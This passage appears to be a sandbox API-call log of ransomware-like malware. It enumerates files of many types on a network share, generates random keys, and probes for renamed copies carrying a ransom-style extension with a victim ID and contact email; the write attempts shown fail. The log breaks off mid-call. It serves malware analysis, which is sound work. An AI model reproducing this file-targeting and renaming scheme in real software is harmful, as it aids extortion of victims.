dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.223] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.224] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.226] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.227] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0040.111] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.111] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.298] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=55552) returned 1 [0040.298] CloseHandle (hObject=0x180) returned 1 [0040.298] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx")) returned 0x80 [0040.299] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.299] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.419] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.420] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.443] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=77013) returned 1 [0040.443] CloseHandle (hObject=0x180) returned 1 [0040.444] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf")) returned 0x80 [0040.444] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.444] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.457] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.457] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.486] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=48744) returned 1 [0040.486] CloseHandle (hObject=0x180) returned 1 [0040.486] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3")) returned 0x80 [0040.487] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.487] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.497] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.497] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.499] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=88257) returned 1 [0040.499] CloseHandle (hObject=0x180) returned 1 [0040.499] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv")) returned 0x80 [0040.500] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.500] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.509] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.509] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.512] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=62084) returned 1 [0040.512] CloseHandle (hObject=0x180) returned 1 [0040.512] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc")) returned 0x80 [0040.512] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.512] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.523] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.523] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.525] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=20800) returned 1 [0040.525] CloseHandle (hObject=0x180) returned 1 [0040.526] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi")) returned 0x80 [0040.526] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.526] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.542] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.542] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.546] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=22395) returned 1 [0040.546] CloseHandle (hObject=0x180) returned 1 [0040.546] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv")) returned 0x80 [0040.546] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.547] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.555] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.555] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.559] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=35694) returned 1 [0040.560] CloseHandle (hObject=0x180) returned 1 [0040.560] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp")) returned 0x80 [0040.560] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.560] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.568] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.568] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.573] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=80473) returned 1 [0040.573] CloseHandle (hObject=0x180) returned 1 [0040.573] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf")) returned 0x80 [0040.573] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.573] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.591] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.591] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.608] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=37636) returned 1 [0040.609] CloseHandle (hObject=0x180) returned 1 [0040.609] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4")) returned 0x80 [0040.609] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.610] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.620] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.620] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.623] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=62626) returned 1 [0040.623] CloseHandle (hObject=0x14c) returned 1 [0040.623] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc")) returned 0x80 [0040.624] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.624] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.631] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.631] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.633] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=44539) returned 1 [0040.633] CloseHandle (hObject=0x14c) returned 1 [0040.633] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif")) returned 0x80 [0040.634] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.634] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.638] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.638] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.639] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=78747) returned 1 [0040.639] CloseHandle (hObject=0x14c) returned 1 [0040.640] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif")) returned 0x80 [0040.640] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.640] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.644] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.644] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.647] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=34525) returned 1 [0040.647] CloseHandle (hObject=0x14c) returned 1 [0040.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx")) returned 0x80 [0040.648] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.648] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.652] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.652] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.654] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=43865) returned 1 [0040.654] CloseHandle 